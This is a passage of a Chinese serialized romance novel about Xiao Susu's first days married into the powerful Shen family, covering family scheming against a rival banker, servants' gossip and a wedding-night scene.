吴妈道:“以前商议事情太晚了,二少爷就不回来了,可今天不一样,再晚他也会回来的。”
她示意萧素素吃菜,又笑着道:“四少爷带了人去给您置办家居服洗漱用品这些,少奶奶将就着住下,过一段时间就适应了。”
沈靳晖太全面了吧?什么事都考虑得这么周到?萧素素就道:“实在是太感谢四少爷了。”
吴妈感同身受道:“四少爷的确很周到,还派了人去萧公馆拿你的东西。”
萧素素沉吟了一会儿,道:“吴妈,我可不可以回家见见我妈?”
吴妈道:“少奶奶,你回娘家原本不用问我的?奴婢哪有管主子的道理?但今日我老婆子就倚老卖老,不得不说了,您嫁的可不是一般人家,新婚当天就回娘家,别人会诟病亲家老爷夫人的。
萧素素很后悔开了这个口,不但没能回家,还叫别人小瞧了她,还不如偷偷的回去。也不知道妈怎么样了?
她知道沈靳言可能没有恶意,但现在什么情况她一点都不知道,真的急死她了。
吴妈又安慰她:“不是有三日回门吗?奴婢知道少奶奶实在想念,但少奶奶放心,三日很快就会过去。”
萧素素点点头,机械的将筷子伸到一碟子菜里,吴妈见她闷闷不乐,就道:“这个菜叫雪山狍子肉,是唐朝宫廷菜,唐太宗李世民御驾东征时,在大雪茫茫的长白山下食用士兵猎制的狍子肉,龙颜大悦。李世民东征回宫后下令宫廷厨师开发成雪山造型而供宫廷宴会时食用。少奶奶,你看这些造型多么壮观,而且它营养丰富,香嫩可口,医官说,它最突出的优点就是长期食用可增加皮肤弹性,延缓衰老。”
萧素素腹诽:“沈家真是阔气,这也是宫廷菜那也是宫廷菜。”
面上却不显,她若是大惊小怪,难免让人觉得她上不得台面。
院子里进来一辆车,吴妈大喜:“肯定是二少爷回来了......”
话音刚落,就听萧薇在外面喊:“姐,我来了!”
吴妈很惊讶:“亲家小姐怎么来了?”
正在进门的沈靳晖道:“自己姐姐家为什么不能来?”
吴妈自知失言,忙向萧素素道歉:“对不起,少奶奶,奴婢没有那个意思,奴婢是说,……不知道亲家小姐用过饭没有。”
萧素素则是先问沈靳晖:“四少爷吃过饭没有。”
萧薇快言快语惯了:“妈留了四少爷吃饭。”
萧素素瞪了她一眼:“我问你了吗?你这样有礼貌吗?”
沈靳晖道:“以后大家都是亲戚,不讲虚礼,二嫂不要说她。”
他这句“二嫂”倒是喊得很溜。
萧素素示意把宴席撤了,吴妈亲自给沈靳晖捧了一碗茶,上次伺候过萧薇的丫鬟叫巧儿的,则给萧薇捧了茶,喜儿则给萧素素捧茶。
沈靳晖觉得茶太烫,就把它放在茶几上,说他去萧公馆的事:“亲家太太说,叫你
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不用担心家里,家里一切都好,又让我把薇薇带来陪你,只是嫁妆还要等萧将军回家以后同她商量了再定。”
萧素素道:“谢谢四少爷。”
沈靳晖道:“二嫂,你和我二哥已经结婚了,叫我四弟就可以。”
萧素素道:“突然这样,我还不习惯。”
沈靳晖道:“叫了一次以后就习惯了。”
沈靳晖看了一眼萧素素的脸色,有些不好意思,毕竟如果严鹤不给她下药,他也是会下药的,探子告诉他严鹤在萧素素的酒里下了药,他才没有下,只是他要下的是助兴的药,没想到严鹤下得却是没有解药的情毒!他还是审问了严鹤的随从才知道的。他道:“你不应该和严鹤来往的,若不是我把你救下来,你这辈子都会被严鹤控制。”
萧素素看了一眼萧薇,见她面色如常,自己的事想来她也知道了。
就问沈靳晖:“你救的我?”
沈靳晖道:“是啊,是我把你抱到416房间的......”
萧素素道:“我的药是不是你下的?因为我感觉行长也是被人下了药的,他总不可能也是严鹤下的吧?”
天下哪有这么巧的事,正好两个人在同一个地方,正好两个人都中了药,还是不同人下的药,两个人却这般那般都爬上了同一个床,戏本子都不敢这么写。
除非,她本来就是别人算计沈靳言的一环。
而她仅凭直觉就觉得这个算计沈靳言的人是沈靳晖。
沈靳晖连忙摆手:“不是,我绝对没有!真的是严鹤那个混蛋下的药!
他因为辩解脸有些绯红:“再说了,如果药是我下的,我还有脸到二嫂跟前吗?”
他瑟缩了一下,心想,幸亏他没有给萧素素下药。
萧素素冷笑道:“那你有脸到行长面前吗?”
萧薇“拍”了一下手,恍然大悟道:“哦,我听懂了!原来不止姐姐中了毒,姐夫也中了!而且,给姐夫下毒的人居然是四少爷?亏我还觉得你蛮好呢!”
沈靳晖窘迫得很:“我跟严鹤可不一样,我是为了我哥好!”
萧薇摇摇头,很不认同:“是吗?我不相信!”
沈靳晖急忙解释:“我要是不想点法子,我哥指不定会单身一辈子,就算是家里给他安排了婚事,他也铁定能想法子推脱掉。况且,我爸说了,如果二哥不结婚,我们所有沈家男子都不许结婚,纳姨太太收通房也不行。”
萧薇快言快语:“这么不讲道理吗?结婚也搞连坐!”
萧素素呵斥道:“闭嘴!诋毁一国元首是重罪!”
萧薇吓得捂住自己的嘴巴,眼睛瞪得圆圆的。
沈靳晖摆摆手:“没事,我又不会跟我爸说。”
萧薇看了一眼周围站的丫鬟和吴妈。
吴妈笑着道:“奴婢们不敢出去传主人家的话,会被打死的。”
萧薇放下手,心想以后说话得过过脑子,虽说这些奴婢声称不敢传主人家的话,但万一有奸细呢?
38. 内讧(十六)
夜里又下了一场大雪,沈靳晖听到雪压断枯枝的声音,又听到风吹得呜呜直响。
吴妈带着巧儿、喜儿退出客厅,去看灶上的事。
客厅那架巨大的座钟已经指到了十一点,沈靳晖站起来,道:“二嫂,已经很晚了,改天您在问我的罪,今晚我就先告辞了。”
今晚萧素素一直垂着眼,灯光下长长的睫毛留下一道浅浅的阴影,整个人恬静柔和,沈靳晖看着这样的萧素素,心想如果昨晚二哥真不管她,他也会管。
萧素素垂着眼是因为心思在不停的转,终于,她下决心般的缓缓说道:“四少爷,不能就这么放过严鹤,我需要你帮个忙。”
“什么忙?”沈靳晖哪有不帮忙的,马上问她。
“以其人之道还治其人之身。”
“已经还了。”
萧素素不解:“已经还了?怎么还的?”
沈靳晖有些尴尬,他总不能说他在严鹤的酒里又下了蒙汗药又下了和二哥一样的药吧。
只得道:“你不要管这些细节,总之,我不但给他下了药,我明天还要把他与议员金智翰之女金巧云无媒苟合的新闻登出来,就说他为了控制金巧云,给她下了药。”
花国刚推翻封建王朝不过十年,许多思想还停留在封建时代,萧素素虽然也是读过书的,但思想依旧传统。
“无媒苟合。”这个词让萧素素很难过,她和沈靳言不就是“无媒苟合”吗?
萧薇突然惊呼一声:“姐,你怎么哭了?”
沈靳晖心一颤,惊觉自己失言。但这个词不宜再说一遍了,得赶快说别的话题,他另起炉灶道:“严鹤还有一个把柄握在我手里,虽然不能保证他把牢底坐穿,至少他绝对坐不上定国银行经理的位置了。”
萧素素迅速擦干眼泪,问他:“什么把柄?”
沈靳晖道:“明天你就知道了。”
萧素素擦干眼泪,由着他卖关子!免得他说出来,被别的人听去了,便起身要送他出去。
沈靳晖道:“二嫂不用送了,你还有很多东西需要收拾,你忙。”
萧素素也没再坚持。
其实也没有多少东西可以收拾的,这一年多以来,萧岐山夫妇陆陆续续给了她一些东西,稍微贵点,还有她自己用薪水买的东西,但都不贵,她就任由那些行李摆在客厅,毕竟她也不知道这些东西可以摆在哪里。
她问吴妈:“还有客房吗?我妹妹睡哪里?”
吴妈说:“二楼朝北的那个房间我刚派丫头去收拾了,是准备给亲家小姐住的。”
萧素素拉着萧薇到二楼朝北的那个房间,她要去亲自看一下,毕竟她也没有进过那个房间。
上了二楼,朝南那个房间一直有人进进出出,好像在布置房间,那是沈靳言的卧室,叮叮当当的一整个晚上了,也不知道要弄成什么样子。
萧素素推开朝北那个房间的实木门走进屋里,立刻觉得浑身暖融融的。壁炉里烧着炭火,尽管一楼的壁炉里也烧着炭火,但一楼客厅太大,还是没有这屋子里暖和。左边临门一块屏风,是沉香木雕的四季如意屏风,古朴典雅。依靠着放了一个汝窑天青釉面梅瓶,里面插着几只半开的梅花。
像是新摘下来的,吴妈跟上来说:“这是我刚让丫头去院里摘的。”
萧薇向吴妈道了谢。
萧素素继续观察屋子。
临窗的贵妃椅上摆着鸡翅木的小几,上面放着一个和田白玉茶盏,四个芙蓉白玉杯,睡觉的床则是雕龙凤呈祥紫檀的西洋样式大床,蓝底白牡丹锦被。
萧素素摸了一下锦被,六斤重,再体弱也不会冷。
她侧身对吴妈说:“你去忙吧,我陪我妹妹说会儿话。”
吴妈退出去,又去安排丫头收拾沈靳言原来的卧室,事情太突然,所有人都措手不及,她大风大浪都经历过,可还是觉得有些焦头烂额。
沈靳言喝她的奶水长大的,她觉得出生那么好的哥儿,却只娶了一个陆军少将的养女,她内心很替沈靳言委屈。
可她看得出来沈靳言对萧素素很珍重,也只得暗暗把心里的想法藏起来,好好伺候着沈靳言和萧素素。
屋子里,只剩下姐妹俩,顿时自在多了。萧薇对萧素素说:“妈下午去了鲲鹏俱乐部,是四少爷亲自来萧公馆接的她。”
萧素素显然不知道,就问道:“妈下午去的鲲鹏俱乐部?沈靳晖应该跟她说了我下午和沈靳言去民政厅的事,那她去鲲鹏俱乐部做什么?”
萧薇道:“四少爷送妈回家的时候,妈忙着要招呼他吃晚饭,没有仔细跟我说,只让我告诉你,四少爷给了她二十万美金,让她把这二十万美金给严鹤。”
萧素素一惊:“难道四少爷刚刚说的所谓的把柄和这二十万美金有关?”
萧薇点头:“我也是这么想的。”
萧素素心里有个猜测,但也不确定,就没有跟萧薇说自己的猜测。
萧薇凑过来看她的脸,看了半天才道:“姐,为什么几天不见你就漂亮多了?是爱情的滋润吗?”
萧素素道:“哪里来的爱情?不过是被人算计罢了。”
不管沈靳晖怎么解释,这件事情的本质都是“算计”。
萧薇问道:“姐夫对你好吗?”
萧素素认真的想了一下,道:“其实我一直都觉得他对我很好,但这跟感情无关,他以前对我们姐妹好都是因为大爸认了我们做女儿,这几天对我好,又是别的原因,有点事已至此,他不得不对我好的勉强。”
萧薇道:“对你好就行了,管他什么原因。以我们的身世背景,原本你是嫁不到这种人家的,姐,你要好好珍惜。”
萧素素道:“你什么时候说话这么老成了?一点都不像我那个只知道吃的妹妹。”
萧薇薇倒是坦诚:“妈让我来跟你说的。”
陈婉还有心思嘱咐她这些?萧素素很感恩,萧岐山被检察厅带走了,她肯定方寸大乱了,还想着她这些,着实不容易。
“妈还好吗?”
萧薇摇了摇头道:“昨晚她屋里的灯亮了一晚上,今天眼圈都肿了......她说大
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爸在圆明园只是委署主事,负责处理和撰写奏折、文案,向上级汇报圆明园的管理和运营情况的自有郎中和主事,他接触不到那么核心的东西。而且大爸和吴景深共事的时间只有四个月。谁会跟只共事四个月的下级分享利益呢?”
萧素素道:“这些人诬陷大爸可能是沈资政授意的。”
萧薇大惊:“天啊!为什么?”
萧素素道:“具体我也不清楚,不外乎利益二字。”
这时,院子里又有一辆车进来了,是沈靳言那辆别克车,出去接的吴妈惊呼:“我的天爷哦,你的脸怎么啦?”
沈靳言低声道:“小声些,别把素素吵醒了。”
吴妈摇头:“亲家小姐来了,他们还在二楼说悄悄话。真是的,哪有洞房花烛夜,亲妹妹来夫家的。”
她人老了,沈靳言觉得懒得说她,就进了屋。
主仆俩进门却看到萧素素姐妹俩都在客厅迎接。
吴妈心虚,幸亏没有说她们的坏话。
萧薇能成为union学校这一届7个医学生之一,全靠沈靳言,所以她打心眼里感激他,见他进门就喊他:“姐夫。”
萧素素低斥她:“我都还没有敬茶认亲,你就乱喊,没得叫人笑话。”
吴妈皱眉,心想,该不是刚刚院子里的话被少奶奶听到了吧?
沈靳言喜怒不明,道:“你我的夫妻关系是受法律保护的,可不会因敬不敬茶,认不认亲而有什么不同。”
萧薇觉得姐夫很护着姐姐,萧素素却是知道明天不用起早去老宅了,沈松龄还不会认她,她反而松了一口气,她承认自己很懦弱,懦弱到不知道怎么面对老宅那些人。
沈靳言看萧薇穿的蜜合色折枝花卉狐狸毛披风都还没有脱下来,便道:“这么晚了,小姨子早点去睡吧。”
萧薇瞪圆了眼睛看了一圈客厅,没有别人,突然福至心灵,用手指着自己问道:“姐夫是让我早点睡?”
沈靳言笑:“不然呢,素素还有别的妹妹?也来了我家?”
萧薇点头:“沈叔叔成了我姐夫,我自然就是沈叔叔的小姨子了。”
她哒哒哒跑上楼梯,才转身道:“祝姐姐姐夫洞房花烛夜快乐!”
这算什么祝福?
丢死人了!
萧素素只觉得脸一红。
沈靳言拉起萧素素的手,指着客厅大大小小的箱笼问道:“这些都是薇薇给你拿回来的?”
萧素素摇摇头:“四少爷亲自去了萧公馆,薇薇坐着他的车来的这里。”
沈靳言吩咐吴妈:“摆到我和少奶奶的套房里去。”
萧素素道:“我明天自己摆到三楼的房间去?”
沈靳言道:“三楼是客房,你和我以后住二楼北边的大卧室。”
萧素素道:“你今晚把我带到三楼那个房间去的,我以为以后我住那个房间。
沈靳言道:“......那时候二楼还在布置新房,只是暂时让你到三楼去呆一会儿,你也好休息一下。再说了,哪有夫妻分开睡的。”
39. 内讧(十七)
沈靳言将萧素素带到二楼的主卧,和她说萧岐山的事:“你父亲已经回萧公馆了,我亲自送他回去的。”
萧素素问:“为什么?”
沈靳言笑道:“本来就是个误会,检察厅的人问清楚了,自然要放。”
萧素素柔柔的叹了口气,道:“行长,我知你素来不喜欢我愚蠢,若不是大爸的关系,你可能都不会让我去银行工作,但是,你我今日已成夫妻,许多事你就不要瞒我了。”
沈靳言先是一愣,然后笑道:“你当真是个傻瓜,哪有妻子这样叫老公的?”
萧素素暗自摇头,看来沈靳言是不打算告诉她了。
却没有想到,沈靳言道:“我猜测是太太给父亲进了谗言,让父亲向岳父要通商银行那20%的股份作为你的嫁妆。”
这沈家还有王法吗?先把人扣起来,再向别人要“嫁妆”,没见过这么不要脸的!萧素素心里暗骂,却也没有表现出来。
她注意了一下措辞:“所以,大爸是怎么出来的?他答应了沈资政的要求?”
沈靳言道:“岳父不知道父亲的意思,父亲召我回老宅就是让我去向岳父开这个口,当然,我没有同意......你不用担心,我不会要那20%的股份,岳父能被放出来是因为我跟父亲说了,他如果执意要开这个口,我就只得把□□你的事登报了。”
萧素素惊得嘴都合不拢:“你这么说,沈资政就放了大爸?”
“是啊!我手里有几家报社,都只听我的。他知道我说到做到,就只得放了岳父。”
萧素素这才注意到,沈靳言一口一个岳父,叫得特别自然,他们不是朋友吗?从朋友辈突然变成晚辈,他居然没有觉得不划算?
她又问道:“所以你脸上的巴掌印是沈资政留下的?”
沈靳言有些尴尬,他两世合起来都很少挨父亲的打,今天他也确实太离经叛道了。
他故作轻松的说道:“你以后不许叫父亲为沈资政了,要跟我一起叫他父亲。”
萧素素不认同:“反正他也没有想认我做儿媳,我才不叫他父亲呢!”
“谁说他不想认你做儿媳了?”
萧素素道:“不用谁说,我就知道了!我一看行长的脸就知道明天不用去老宅敬茶了。”
沈靳言觉得她淡淡的语气中有些雀跃?父亲不认她她还高兴?但是他没有证据。他还安慰她:“慢慢来,过几天他们就想开了。”
萧素素道:“即使大爸自愿把那20%的股份给我,我也没脸要,大爸对我恩重如山,我却这般无用,连他被污蔑我也帮不了他,你说我这个养女有什么用?还好意思要嫁妆,我脸可真大!”
沈靳言道:“真心和实际行动都挺重要的,你有这份心就很好。”
萧素素苦笑着摇摇头。听到沈靳言很慎重的说道:“我没有嫁妆也没有关系,你以后的薪水你自己存起来,我也会每月给你钱财......”
巧儿在外面禀报:“二少爷,井秘书来了,在书房等你。”
萧素素皱眉:“这大半夜的,你们还要干什么?”
沈靳言故意道:“不管他!不管他!我们继续洞房花烛夜!”
说着就将萧素素搂入怀中,要给她宽衣解带,嘴也凑上来亲,萧素素慌忙把他推开,慌乱中,口不择言:“巧儿还在外面呢!”
沈靳言道:“今晚该她值夜,本来她就会一直在外面。”手上的动作一刻也没有停。
手探入了衣襟,一顿揉搓,嘴堵住了萧素素的嘴,很激烈的吻,直吻得萧素素七晕八素,眼泪汪汪的。
末了,还在她脖子上狠狠的咬了一口,才放开她。
萧素素只觉得他是个神精病,又催他道:“你快去,不能让井秘书久等了!”以后让她怎么见井弘深。
沈靳言依旧抱了她一会儿,然后才放开她,刮了一下她的鼻子,道:“我要是很轻易的就离开了这洞房,以后下人也会看轻你,他们会不尊重你,你懂了吗?”
萧素素不理他,偏着头看床上的大红色丹凤朝阳的锦被。觉得沈家的种种就是几千年封建的余毒!
沈靳言进了书房又是另外一种样子,他的眼寒如冰,审阅文件时一句话都没有说,差点将井弘深吓破了胆。
下药的事儿还没有翻篇儿?
沈靳言将井弘深需要他签字的文件都看完了,才道:“我结婚消息登报的事情安排下去了吗?”
他说话如常,井弘深才松了一口气,道:“安排了。”
沈靳言又问道:“我四弟那边进展如何?”
井弘深道:“明天《太阳日报》会登严鹤与金智翰之女金巧云无媒苟合的新闻,以及章卫平向京师地方检查厅举报严鹤花重金贿赂他,指示他陷害萧将军的事。”
沈靳言道:“贿赂的罪证是多少钱?”
“20万美金。”
沈靳言扯了扯嘴角,笑得极讽刺:“很好!按照现在的汇率,20万美金算数额特别巨大、情节特别严重了。按《花国律》可处十年以上有期徒刑或者无期徒刑,并处罚金或者没收财产。”
井弘深看向沈靳言,即使是常年伴其左右,也被他身上的凛冽之气刺伤。
他问:“行长要参与《定国银行》的事务吗?毕竟大公子投资的四百万也是沈家的钱。”
严鹤入狱之后,能坐上定国银行经理之位的人可能是沈家的人,毕竟投资最大的是沈家。
沈靳言太阳穴突突的疼痛,太累了:“让大哥自己去折腾,沈家的钱他败了就败了吧,每个人的精力都是有限的,我不可能事事都帮他,况且我纵使对他百般好,别人也是不信的,还不如该怎样我就怎样,我还轻松一些。”
井弘深很不认同沈靳言的决定:“沈家以后还要靠您支撑门庭......”
沈靳言摇头道:“国家太贫穷落后了,谁也支撑不了这门庭......”
井弘深觉得沈靳
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言不应该这么消极,古时再羸弱的王朝也有夺嫡之争,沈靳言是有能力争夺的。但他看到沈靳言面沉如霜,也不敢多言。
沈靳言靠在椅子上,点了一根雪茄,道:“吴景深之子吴世勋的罪证收集得怎么样?”
井弘深冷汗就出来了,结巴道:“......您和萧秘书的事,事发突然......还没有......”
沈靳言道:“好了,你尽快!”
他深邃的眼眸望向井弘深:“斩草不除根,春风吹又生!吴世勋必须除掉。没有别的选择。”他猛吸了两口雪茄,吐出阵阵烟气,好像那样能解乏一样。
他站起来,走近井弘深,使语气尽量不要那么强硬,道:“我是不是跟你说过,有些事可以交给下面的人做,善于培养人才梯队,也是团队领袖必备的素质。”
井弘深沉默,一般的上级是不喜欢下级培养势力的,但行长一直都鼓励他培养自己的势力,难道他就不怕他背叛他吗?
沈靳言叹了一口气,道:“你现在事情这么多,做都做不完......这几天尤其辛苦,明天可以晚点来银行上班。”
井弘深道:“谢谢行长......萧秘书的工作怎么办?她现在已经是您的太太了,需要招聘新人接替她的工作吗?”
“不需要,她继续留在原岗位。”万一他像上一世一样英年早逝,希望她多点能力生存。
“沈家同意吗?”井弘深很惊讶沈靳言的决定。
沈靳言笑了,极讽刺那种:“我管他们同意不同意,我自己开的银行,我自己的太太要去上班,不需要他们的同意。”
井弘深最佩服他的硬气,暗道:“行!面对第一家族最硬气的人当属你沈靳言!”
但是他不无担忧:“萧秘书她愿意继续上班吗?”
沈靳言道:“她不信任我,肯定愿意上班的。”
井弘深:“......”他多少觉得沈靳言有点妄自菲薄了。
沈靳言出卧室后,萧素素在卧室里翻箱倒柜,目的是看看各处都有什么东西,她以后毕竟是要在这里生活的。
巧儿听到声音,进来问她:“少奶奶,您要找什么?我给您找。”
萧素素道:“我就熟悉一下环境,你不用管我。”
巧儿道:“我还是伺候您快些洗漱吧,等会儿二少爷还要和您洞房花烛夜呢!”
萧素素脸一红:“......你不用管我,早些回去睡觉。”
巧儿挨的近,看到萧素素洁白如玉的脖颈上有暧.眛的痕迹,嘴唇也红润有光泽,想起二少爷出去前,房内的推拒、拉扯、少奶奶轻声的呻吟,后来又听到二少爷低声的诱哄,她的脸也红了,道:“今天我当值,伺候您是我的本份。”
萧素素有些不舒服:“我说了不用你伺候,你是不是不听我的?”
巧儿当面不敢说什么,回房就跟同屋的喜儿说萧素素没见过世面,也不知道二少爷怎么看上她的。
40. [锁] [此章节已锁]
经过这一遭,萧素素也不好意思再翻箱倒柜了。只得去浴室洗漱。
临睡前,沈靳言去而复返,想到洞房的事,萧素素不自在的往后躲,就见男人叹了一口气,骨节分明的手指捧着她的脸,温润的唇就那么的试图落在了她的唇上,却被她用手生生挡住。
触及她凉凉的手心,男人目光幽深的看着她雾蒙蒙的眸子,并没有移开自己的唇,而是就着那掌心加深了这个吻。
萧素素推开他:“行长,天天干这种事儿伤身体。”
沈靳言轻笑了一声,觉得她的借口拙劣而可爱,边起身换睡衣,边道:“还叫我行长?”
萧素素也觉得称呼是个难题:“不叫行长叫什么?二少爷?夫君?相公?这都什么时代了!夫君和相公我是叫不出口的!叫你二少爷你好像也不高兴!”
沈靳言觉得她有些好笑,就逗她:“你叫我夫君也不错。”
“我才叫不出来。”
沈靳言三两下换好衣服,坐到床上,望着萧素素,很认真的说道:“就叫我沈靳言就可以。”
他的语气就像平时跟他们开会时一样认真。
萧素素道:“那怎么行,别人听见我这么叫你,你多没面子。”现在的女子还没有真正平等到可以直呼丈夫大名的地步。
沈靳言道:“面子不面子的又不靠你一个称呼,但是,咱们要事先说好了,工作的时候只能称呼职务,也就是和往常一样。”
萧素素欣喜若狂:“这么说,你同意我继续出去工作?”他出房门前是说了她的薪水可以自己存起来,巧儿那么一喊,他就抱着她做那些事,她还以为自己听错了。
“为什么不同意?你好好工作,等你有本事了我把行长让给你当!”
萧素素觉得他是在画大饼,但是她有被画大饼的资本吗?好像并没有?所以他为什么有这个想法?这太奇怪了,像沈家这样的家庭,能让她出去工作真的已经让她受宠若惊了。当行长,她想都不敢想。
“是因为我是你的妻子你才说以后让我当行长的?”萧素素问。
“那当然。”
萧素素暗道:花国结束封建王朝还没几年呢,他这个想法要是当真的话,这也太突然了,他们又不是因为爱情结的婚,他有这个想法太奇怪了!
她问道:“我当行长,你干嘛?”
“在家里享清福呗。”他语气很轻松。
但萧素素不相信,沈靳言工作很勤奋,不像是会享清福的个性,所以,她蹙着眉盯着他。
她也不知道他哪里奇怪,但是,就是很奇怪!
直到被看得发毛,沈靳言才在反思自己是不是话说的太多了?
他招呼萧素素睡觉:“快来睡觉,明天还要上班。”
完全没有情.欲,就像安排工作一样,所以,他进卧室为什么要吻她呢?而且,被吻的萧素素感觉他那时表现的真的很情深意切。
没有扭捏作态,萧素素睡到了沈靳言旁边,很快沈靳言就睡着了,呼吸很均匀。
上半夜下得那场大雪还在下,萧素素听到雪压断枯枝的声音,又听到风吹得呜呜直响。翻来覆去都觉得睡不着,好像马上就要天亮了,实在睡不着了,起床看怀表,才三点钟。
好不容易迷迷糊糊要睡着了,巧儿却在门外轻声喊:“二少奶奶,该起床给二少爷做早餐了。”
萧素素迷迷糊糊的,沈靳言一下从床上撑起来,破口大骂:“死贱人!你不想活了?做个早餐还要少奶奶亲自做?”
巧儿在门外扑通一声跪下,萧素素这一下彻底醒了。被沈靳言吓的!
她从来没有想过“死贱人”三个字能从沈靳言的嘴里蹦出来。
在萧公馆,陈婉每天天不亮就要起来给萧岐山做早餐,一年365天,天天如此,尽管萧公馆的仆从也很多,但好像女子嫁人后都要给丈夫准备早餐吧?
一看时间,六点钟,还来得及,她掀开被子,准备下床,沈靳言一把将她搂进怀里,道:“不需要你准备早餐。”
萧素素要推开他:“那等会儿你吃什么?”
沈靳言搂得更紧了:“那你说说看,你没嫁给我之前我早餐吃什么?”
是这样没错,从旧时沿袭至今的“三从四德”还在花国蔓延,萧素素道:“她们会背地里说我的!”
沈靳言怒其不争:“你是少奶奶,还怕她们说?”
萧素素道:“那倒不是......我母亲在家里每天都会给父亲做早餐的,我以为这是妻子的本份。”
沈靳言淡淡道:“你不用给我做早饭,我有佣人......即使没佣人我也不需要你给我准备早餐。”
外面在低声说话,但说了什么萧素素一点也听不清楚,因为沈靳言望着他欲言又止。
他目光幽深,轻轻的叹了一口气,道:“他饿了一天一夜了,你又靠这么近......怪不得他。”
萧素素:“......”谁饿了一天一夜?
很快,萧素素就知道了。
沈靳言开始发起进攻,吻一个接着一个,肆意但温柔。
温热的气息呼在她脸上,温暖舒服。她并不想做作的拒绝推诿,欲擒故纵的挣扎她亦是不会,她需要他带给她的温暖和呵护。因此,她开始慢慢回应,很快她就被卷入其中,不可自拔。也许是因为正值青春年华,当尝过其中的滋味后,便觉十分欢喜。
感觉到她的乖顺和兴奋,沈靳言亦欢喜得不得了,这是一种他从未体验过的滋味,而且她好像无师自通,天然知道他的喜好,刚好能投其所好,多么难得。
沈靳言两世以来第一次体会到“琴瑟和鸣”这个词的深意。
年轻身体的无限贴合,在清晨寒凉的潮气中,温暖烫贴的体温让人留恋,他们彼此谁也不忍离开对方,抵死的纠缠,萧素素眩晕了,她开始颤抖,沈靳言笑着说了一句什么,萧素素竟然一个字也没有听清楚。
她问道:“行长,你说什么?”
沈靳言目光炯炯,用更加灼热的呼吸和攻击掠夺着她。
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似狂风骤雨,似海啸奔腾,世界也在这期间跟着颠覆。
醒来时满室刺眼的阳光,萧素素蜷缩在舒适柔软的喜床上,房间里的温度比清晨温暖许多,壁炉里应是新添了材火。她懒懒的转身寻觅更多的温存,身侧早已空荡荡。怀表放在床头柜上,拿起一看,两点四十。
天啊!她睡到了下午!
幼时家贫,需要她和萧薇早起帮着店里干活儿。母亲管教极严,她和萧薇若是七点没有起来包馄饨,母亲准会棍棒伺候。久而久之,形成了条件反射,每次醒来太晚自己都会被吓出一身冷汗,仿佛母亲已拿着棍棒站立在床边。
今天她亦是吓了一身冷汗,恐怕别人见过睡得日上三竿的,没见过睡到下午的。这些大宅门的佣人,个个都是人精,指不定跟老宅的人怎么编排她?
她穿了昨天那件衣服,下楼发现只有萧薇在客厅里翻报纸,其他人一个也没有看见。
自己的那些行李箱还在一楼整整齐齐的放着。
“人呢?”她问萧薇。
“姐夫上午就出去了。”萧薇头也不抬,好像报纸上写的东西特别吸引她。
“我是问吴妈她们。”萧素素走过去。
“吴妈、巧儿、喜儿回老宅了。四公子调来的那些丫头都回四公子的别院了。”
“为什么?”
萧薇想起早上沈靳言那张阴沉的脸,道:“具体我不清楚,早上姐夫很生气。”
“他生什么气?”萧素素觉得自己没有听到任何动静啊,他生什么气?早上在床上他也没什么吧?
萧薇道:“我怎么知道!”
她下楼的时候,那些人都已经打包好东西了,沈靳言给她亲自盛了粥让她吃。还给了她钱,让她午饭出去买来吃。
萧素素道:“这么晚了,你怎么不早点叫我起床。”
萧薇白了一眼她:“姐夫再三叮嘱,让我不要来叫你起床。”
萧素素道:“你不叫我起来,你吃什么啊?”
萧薇拿出几张美金:“姐夫给了钱,让我在外面去买。我也是今天才发现,你是个睡神,你看现在几点了,幸亏那些仆人走的早,不然,你这个名声,怕是永远也好不了了。”
萧素素去厨房里翻找,翻出些面粉准备做些拉面吃。
萧薇跟进来,问她:“姐夫很爱你吗?”
萧素素想起早上在床上的事,判定沈靳言肯定还是喜欢她身体的,爱?她不相信沈靳言会爱她。
她手上的动作不停,问萧薇:“你为什么问这个。”
萧薇道:“诺,有五张报纸上登了你们结婚的消息,都是头版头条,这不是在昭告天下吗?以前在萧公馆,我也天天看报纸,从来没有看到过有谁结婚的消息这么大张旗鼓的报道。”
萧素素忙净了手,拿过来看。
萧薇道:“你昨天跟我说他对我们好是因为大爸,大爸和他的关系这么好吗?”
萧素素懵懵的,她怀疑她在做梦,但她希望这个梦再也不要醒来。
41. 内讧(十九)
“对了,你怎么没有上学?”萧素素这才想起来问萧薇。
萧薇翻了个白眼,兑她:“你可真是我的好姐姐,整天就知道风花雪月,我这个亲妹妹上没有上学,你一点都不关心。”
萧素素道:“你是不是要跟我对嘴?”心里也很心虚,是很久都没有管过妹妹了。
萧薇道:“不敢!不敢!”
萧素素用眼睛问她,萧薇叹了一口气,道:“从京钞挤兑开始我就没有上学了。这次挤兑事件影响太大了,所有学校都停课了,我有三个同学家里都破产了......”
萧素素道:“那停课这么久,我也没有在家里看见你,你自己天天跑出去野去了,你还怪我。”
萧薇道:“我可没出去野,我是去京师医院见习去了。”
萧素素道:“你去京师医院见习?你一个大一的医学生,别人京师凭什么让你见习?小心人家别有用心,安小蝶的新闻你没有看过?”
萧薇不以为然:“不会,有嘉兴哥在呢,怕什么?
“沈嘉兴?”
“对啊!他是我x射线诊断课的老师。京师医院也是他引荐我去见习的。”
“我以为又是沈靳言引荐你去京师医院的。”
“不是,姐夫引荐嘉兴哥去我们学校当的老师,嘉兴哥引荐我去京师医院见习,我哪能样样都要姐夫照顾啊,他那么忙!”
“施卓然你认识吧?”
“我不认识,但我听说过她,她是你同事,厉副官的外甥女。”
“厉副官的外甥女?我怎么不知道。”
萧薇又翻了一个白眼:“你除了知道风花雪月,你还知道什么?”
“死丫头,你欠揍是不是?”萧素素最看不惯妹妹翻白眼,她本来生得好看,翻白眼让她瞬间没了气质。
萧薇作揖求饶:“我的好姐姐,妹妹错了。对了,你问施卓然干嘛?”
“她追到沈嘉兴没有?”
萧薇很认真的想了一下:“可能没有吧,嘉兴哥每天都很忙,哪有时间谈念爱。”
这时,院子里进来两辆军用吉普,打断了两人的谈话,她们赶快出去看是谁?
前面那辆走下来的是宋婉,后面那辆走下来的是吴妈、巧儿和喜儿。
萧素素叫了宋婉“母亲”,萧薇愣了一下,赶忙叫了一声“宋夫人”。
宋婉一双眸,安静落在萧素素身上,没有说话,萧素素低垂眉眼,睫毛修长柔软,似两把小小扇子,将她的心思遮住,未见端倪。
宋婉收回目光,径自进了屋。
萧素素姐妹俩像个鹌鹑一样跟着进了屋。
宋婉看了一下客厅里摆着的行李箱,道:“这些是你的嫁妆?”
萧素素道:“不是,是我的私人物品。嫁妆还没有拿来......”
宋婉坐定,道:“萧小姐,你去给我泡碗茶来。”
萧薇转身,准备去烧水泡茶,萧素素拉了一下她:“不是,叫我呢。”
然后她先去了厨房,萧薇也跟进来了。
萧薇问道:“她来干嘛?”
